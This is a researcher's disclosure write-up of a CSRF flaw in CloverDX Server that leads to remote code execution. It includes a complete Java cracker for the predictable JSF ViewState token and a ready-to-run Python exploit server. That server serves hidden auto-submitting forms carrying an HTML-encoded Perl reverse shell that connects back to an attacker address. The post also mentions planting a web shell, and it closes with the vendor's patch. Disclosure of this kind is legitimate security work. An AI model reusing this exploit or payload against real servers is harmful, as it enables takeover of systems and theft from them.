The cross-site request forgery vulnerability exists in the recent version of CloverDX Server on all GUI-based endpoints (JSF). The malicious attacker can use that vulnerability to perform any actions that are allowed through the GUI endpoint. One of the features of CloverDX Server is to create manual task execution – execute shell commands which the attacker can use to achieve remote code execution on the machine itself.

The following write-up will present the thinking process which leads to the CSRF exploitation. In the end, the penetration tester presents some Proof of Concept to exploit the Remote Code Execution. The CSRF can be also used to perform any actions using the GUI endpoints e.g. change the configuration of CloverDX, add a new admin user to the CloverDX.

Discovery

At first, the penetration tester has started with the sample examination of the event-listeners functionality as it allows for the execution of system commands. The following screenshot shows the HTTP request sent to the CloverDX server when the admin user executes the system commands through the GUI – /clover/gui/event-listeners endpoint.

cve_cloverdx

As one can see, the request could be the subject of CSRF vulnerability – as the method is POST, no extra HTTP header is required and the Content-Type is application/x-www-form-urlencoded. The only protection (random value) against the CSRF is the ViewState parameter.

cve_cloverdx

How random is the ViewState parameter? In the Sun documentation, they say it is not cryptographically secure. In the version before 2.2.16 the pseudo-random generator java.util.Random was used, it was treated by the vendor as a vulnerability and patched in version 2.2.16.

To examine how the application works and which version of the JSF the application utilizes, the penetration tester has deployed the most recent version of clover.war in the docker container provided by the Cloverdx team.

cve_cloverdx

The following lib directory listing from the container suggests that the JSF version used by the application would still be affected. (2.2.15). To confirm that, let’s decompile the JSF-2.2.15.jar to check if the application uses Random or SecureRandom for ViewState generation. Inside the com.sun.faces.ServerSideStateHelper.java we can see that the Random was used instead of SecureRandom – lines 48, 133.

cve_cloverdx cve_cloverdx

Based on the screenshot we can see that the Random is still being used to generate the ViewState value. The cracking of such a pseudo-random generator is fairly easy.m The whole process was described in the following blog post:

https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html

Also, the CSRF proof of concept presented by the penetration tester would use ViewstateCracker.java


public class ViewstateCracker {
  /* START PART 1 */
  public static final int offset     = 32;
  public static final int iterations = 65536;

  public static final String generateNewViewstate(final long idInLogicalMap, final long idInActualMap) {
    final long first32BitsOfIdInLogicalMap  = idInLogicalMap >>> offset;
    final long second32BitsOfIdInLogicalMap = ((idInLogicalMap << offset) >>> offset);
    final long first32BitsOfIdInActualMap   = idInActualMap >>> offset;         // Verification
    final long second32BitsOfIdInActualMap  = ((idInActualMap << offset) >>> offset); // Verification
    /* END PART 1 */

    /* START PART 2 */
    long the_seed = 1L;

    for (int i = 0; i < iterations; i++) {
      long tmp_seed = ((first32BitsOfIdInLogicalMap << 16) + i);
      if (((int)(((tmp_seed * 0x5DEECE66DL + 0xBl) & ((1L << 48) - 1)) >>> 16)) == second32BitsOfIdInLogicalMap) {
        //System.out.println("Seed found: " + tmp_seed);
        the_seed = tmp_seed;
        break;
      }
    }
    /* END PART 2 */

    /* START PART 3 */
    // Generate number 2 (Second Number of idInLogicalMap)
    the_seed = (the_seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);

    //Calculate the value of idInActualMap
    the_seed = (the_seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);
    the_seed = (the_seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);
    /* END PART 3*/

    /* START PART 4*/
    /* Calculate a new idInLogicalMap */

    // Generate the first half of the first Long
    the_seed = (the_seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);
    int number_5 = ((int)(the_seed >>> 16));

    // Generate the second half of the first Long
    the_seed = (the_seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);
    int number_6 = ((int)(the_seed >>> 16));

    //Here is the new idInLogicalMap
    long new_long_1 = (((long)number_5 << 32) + number_6);


    /* Calculate a new idInActualMap */

    // Generate the first half of the second Long
    the_seed = (the_seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);
    int number_7 = ((int)(the_seed >>> 16));

    // Generate the second half of the second Long
    the_seed = (the_seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);
    int number_8 = ((int)(the_seed >>> 16));

    //
    long new_long_2 = (((long)number_7 << 32) + number_8);

    return new_long_1 + ":" + new_long_2;
    /*END PART4*/
  }
 public static void main (String args[]) {
	String token = args[0];
	String[] longs = token.split(":");
	long long1 = Long.parseLong(longs[0]);
	long long2 = Long.parseLong(longs[1]);
	String newToken = generateNewViewstate(long1,long2);
	System.out.println(newToken);

}

}

Reference:
https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2

Before we start to craft our CSRF PoC let’s confirm that the ViewStateCracker.java successfully predicts the next ViewState values. To do that, we obtain the current ViewState value as the unauthenticated user from the login page:

cve_cloverdx

Then, we pass that value to the ViewStateCracker.java to get the next ViewState:

cve_cloverdx

Now, we request the login page again to obtain the next ViewState value and compare if the value generated by the cracker and CloverDX sever matches:

cve_cloverdx

As one can see the values are the same, so we can jump to the CSRF PoC exploit creation.

Exploit

# Version: 5.9.0, 5.8.1, 5.8.0, 5.7.0, 5.6.x, 5.5.x, 5.4.x
# Tested on: Docker image - https://github.com/cloverdx/cloverdx-server-docker
# Replace the target, payload and port to host the exploitation server. Exploit requires, inbound connection to CloverDX
# Victim authenticated to CloverDX and the java to run the ViewStateCracker.java.
# Reference for cracking ViewState:
# https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html
# https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2 
#


import http.server
import socketserver
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
from bs4 import BeautifulSoup
import subprocess
import sys
import json


class ExploitHandler(http.server.SimpleHTTPRequestHandler):
	def do_GET(self):
		self.send_response(200)
		self.send_header("Content-Type", "text/html; charset=utf-8")
		self.end_headers()
		
		# replace with your own target
		target = "http://localhost:8080"

		query_comp = parse_qs(urlparse(self.path).query)
		if "target" in query_comp:
			target = query_comp["target"][0]
		
		req = requests.get(target+"/clover/gui/login.jsf")

		if req.status_code != 200:
			sys.exit(-1)

		# parse the reponse retrieve the ViewState
		soup = BeautifulSoup(req.text, "html.parser")
		cur_view_state = soup.find("input", {"name": "javax.faces.ViewState"})["value"]

		# Use the ViewstateCracker.java to get new Viewstate.
		new_view_state = subprocess.check_output(["java", "ViewstateCracker.java", cur_view_state])
		new_view_state = new_view_state.decode("utf-8").strip()
		print(new_view_state)
		if new_view_state == "6927638971750518694:6717304323717288036":
			html = ("<!DOCTYPE html><html><head></head><body><h1>Hello Clover Admin!</h1><br>"
			+ "<script>window.setTimeout(function () { location.reload()}, 1500)</script></body></html>")
		else:
			html = ("<!DOCTYPE html><html><head>"
			+ "<script>"
			+ "function exec1(){document.getElementById('form1').submit(); setTimeout(exec2, 2000);}"
			+ "function exec2(){document.getElementById('form2').submit(); setTimeout(exec3, 2000);}"
			+ "function exec3(){document.getElementById('form3').submit(); setTimeout(exec4, 2000);}"
			+ "function exec4(){document.getElementById('form4').submit();}"
			+ "</script>"
			+ "</head><body onload='exec1();'><h1>Hello Clover Admin! Please wait here, content is loading...</h1>"
			+ "<script>history.pushState('','/');</script>"
			+ "<form target='if1' id='form1' method='GET' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target)
			+ "<input type='submit' value='' style='visibility: hidden;'></form> " 
			+ "<form target='if2' id='form2' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
			+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
			+ "<input type='hidden' value='headerForm&#58;manualListenerItem' name='javax.faces.source'>" 
			+ "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" 
			+ "<input type='hidden' value='allContent' name='javax.faces.partial.render'>" 
			+ "<input type='hidden' value='headerForm&#58;manualListenerItem' name='headerForm&#58;manualListenerItem'>"
			+ "<input type='hidden' value='headerForm' name='headerForm'>"
			+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) 
			+ "<input type='submit' value='' style='visibility: hidden;'></form> "
			+ "<form target='if3' id='form3' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
			+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
			+ "<input type='hidden' value='manualListeneForm&#58;taskType' name='javax.faces.source'>" 
			+ "<input type='hidden' value='manualListeneForm&#58;taskType' name='javax.faces.partial.execute'>" 
			+ "<input type='hidden' value='manualListeneForm&#58;taskFormFragment' name='javax.faces.partial.render'>" 
			+ "<input type='hidden' value='valueChange' name='javax.faces.behavior.event'>"
			+ "<input type='hidden' value='change' name='javax.faces.partial.event'>"
			+ "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>"
			+ "<input type='hidden' value='shell_command' name='manualListeneForm&#58;taskType_input'>" 
			+ "<input type='hidden' value='on' name='manualListeneForm&#58;saveRunRecord_input'>"
			+ "<input type='hidden' value='true' name='manualListeneForm&#58;manualVariablesList_collapsed'>" 
			+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) 
			+ "<input type='submit' value='' style='visibility: hidden;'></form> "
			+ "<form target='if4' id='form4' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
			+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
			+ "<input type='hidden' value='manualListeneForm:execute_button' name='javax.faces.source'>" 
			+ "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" 
			+ "<input type='hidden' value='rightContent' name='javax.faces.partial.render'>" 
			+ "<input type='hidden' value='manualListeneForm:execute_button' name='manualListeneForm&#58;execute_button'>" 
			+ "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;properties&#58;propertiesTable&#58;propName'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;properties&#58;propertiesTable&#58;propValue'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;taskType_focus'>" 
			+ "<input type='hidden' value='shell_command' name='manualListeneForm&#58;taskType_input'>"
			#
			# Below is the HTML encoded perl reverse, replace with your own payload, remember to HTML encode.
			# 
			+ "<input type='hidden' value='&#x70;&#x65;&#x72;&#x6c;&#x20;&#x2d;&#x65;&#x20;&#x27;&#x75;&#x73;&#x65;&#x20;&#x53;&#x6f;&#x63;&#x6b;&#x65;&#x74;&#x3b;&#x24;&#x69;&#x3d;&#x22;&#x31;&#x39;&#x32;&#x2e;&#x31;&#x36;&#x38;&#x2e;&#x36;&#x35;&#x2e;&#x32;&#x22;&#x3b;&#x24;&#x70;&#x3d;&#x34;&#x34;&#x34;&#x34;&#x3b;&#x73;&#x6f;&#x63;&#x6b;&#x65;&#x74;&#x28;&#x53;&#x2c;&#x50;&#x46;&#x5f;&#x49;&#x4e;&#x45;&#x54;&#x2c;&#x53;&#x4f;&#x43;&#x4b;&#x5f;&#x53;&#x54;&#x52;&#x45;&#x41;&#x4d;&#x2c;&#x67;&#x65;&#x74;&#x70;&#x72;&#x6f;&#x74;&#x6f;&#x62;&#x79;&#x6e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x74;&#x63;&#x70;&#x22;&#x29;&#x29;&#x3b;&#x69;&#x66;&#x28;&#x63;&#x6f;&#x6e;&#x6e;&#x65;&#x63;&#x74;&#x28;&#x53;&#x2c;&#x73;&#x6f;&#x63;&#x6b;&#x61;&#x64;&#x64;&#x72;&#x5f;&#x69;&#x6e;&#x28;&#x24;&#x70;&#x2c;&#x69;&#x6e;&#x65;&#x74;&#x5f;&#x61;&#x74;&#x6f;&#x6e;&#x28;&#x24;&#x69;&#x29;&#x29;&#x29;&#x29;&#x7b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x49;&#x4e;&#x2c;&#x22;&#x3e;&#x26;&#x53;&#x22;&#x29;&#x3b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x4f;&#x55;&#x54;&#x2c;&#x22;&#x3e;&#x26;&#x53;&#x22;&#x29;&#x3b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x45;&#x52;&#x52;&#x2c;&#x22;&#x3e;&#x26;&#x53;&#x22;&#x29;&#x3b;&#x65;&#x78;&#x65;&#x63;&#x28;&#x22;&#x2f;&#x62;&#x69;&#x6e;&#x2f;&#x73;&#x68;&#x20;&#x2d;&#x69;&#x22;&#x29;&#x3b;&#x7d;&#x3b;&#x27;' name='manualListeneForm&#58;shellEditor'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;workingDirectory'>" 
			+ "<input type='hidden' value='10000' name='manualListeneForm&#58;timeout'>" 
			+ "<input type='hidden' value='true' name='manualListeneForm&#58;scriptVariablesList_collapsed'>" 
			+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) 
			+ "<input type='submit' value='' style='visibility: hidden;'></form> "
			+ "<iframe name='if1' style='display: hidden;' width='0' height='0' frameborder='0' ></iframe>"
			+ "<iframe name='if2' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
			+ "<iframe name='if3' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
			+ "<iframe name='if4' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
			+ "</body></html>")

		self.wfile.write(bytes(html,"utf-8"))




exploit_handler = ExploitHandler

PORT = 6010

exploit_server = socketserver.TCPServer(("", PORT), exploit_handler)

exploit_server.serve_forever()

Exploit-DB reference: https://www.exploit-db.com/exploits/50166

Going straight to the exploitation, the whole exploitation process would be the following:

  1. The attacker creates the malicious website hosting the PoC python script. The attacker would then send the authenticated victim the link to his malicious website.
  2. The victim (authenticated to clover) visits the attacker’s website – sends the request to the python HTTP server for the content.
  3. The python HTTP server (attacker hosted) upon receiving the GET request, requests the login page from the clover server to get the current ViewState value, the server uses Viewstatecracker.java to calculate the next ViewState value and responds with the content which would exploit the CSRF vulnerability.
  4. Once the victims receive the response from the attacker’s controlled server, the victim’s browser executes the Javascript which exploits the CSRF by:
    • Triggering the first GET request to the /clover/gui/event-listeners to trigger the assignment of the next ViewState to the victim’s session. (The predicted ViewState must match the assigned ViewState at this point)
    • Executing 3 POST requests to the /clover/gui/event-listeners (first 2 POST requests to set valid state) to execute the reverse shell payload. In the case of outbound network connectivity filtering, the attacker can create the web shell in the tomcat webroot directory.

The web browser would automatically attach all victim’s cookies to all the requests triggered cross-site, resulting in the successful exploitation of CSRF. The impact of that CSRF is the remote code execution on the CloverDX server as the endpoint allows the authenticated user to run system commands.

Exploitation with presented PoC:

  1. Victims is authenticated to clover:

cve_cloverdx

  1. Victims clicks on the link and the 4 requests are made cross-origin to exploit the CSRF:

cve_cloverdx

  1. 3rd POST request sends the Perl reverse shell payload:

cve_cloverdx

  1. Attacker receives a remote shell on CloverDX server:

cve_cloverdx

CloverDX response

Huge kudos to the CloverDX Engineering team for the very quick response and patch release to this vulnerability. CloverDX Engineering has fixed the vulnerability and release the patch in less than few days. The CloverDX Team also has released the Security Advisory and acknowledge the discovery of the vulnerability: https://support1.cloverdx.com/hc/en-us/articles/360021006520